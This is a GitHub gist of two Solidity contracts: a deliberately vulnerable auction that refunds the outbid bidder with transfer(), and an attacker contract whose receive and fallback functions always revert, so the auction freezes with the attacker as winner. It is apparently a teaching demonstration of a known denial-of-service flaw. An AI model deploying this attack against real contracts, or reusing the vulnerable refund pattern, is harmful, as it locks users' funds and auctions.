Skip to content

Instantly share code, notes, and snippets.

@depresto
Created August 30, 2022 05:16
Show Gist options
  • Save depresto/767b5c82050c9bf0fe76b7a8c5141051 to your computer and use it in GitHub Desktop.
Save depresto/767b5c82050c9bf0fe76b7a8c5141051 to your computer and use it in GitHub Desktop.
Denial of Service Attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AuctionContract.sol";
contract Attacker {
AuctionContract auction;
constructor(address auctionAddress) {
auction = AuctionContract(auctionAddress);
}
function placeBid() public payable {
auction.placeBid{value: msg.value}();
}
fallback() external payable {
revert();
}
receive() external payable {
revert();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract AuctionContract {
address payable public winnerAddress;
uint256 public winnerAmount;
function placeBid() public payable returns(uint256) {
require(msg.value > winnerAmount, "Amount is not enough");
winnerAddress.transfer(winnerAmount);
winnerAmount = msg.value;
winnerAddress = payable(msg.sender);
return winnerAmount;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment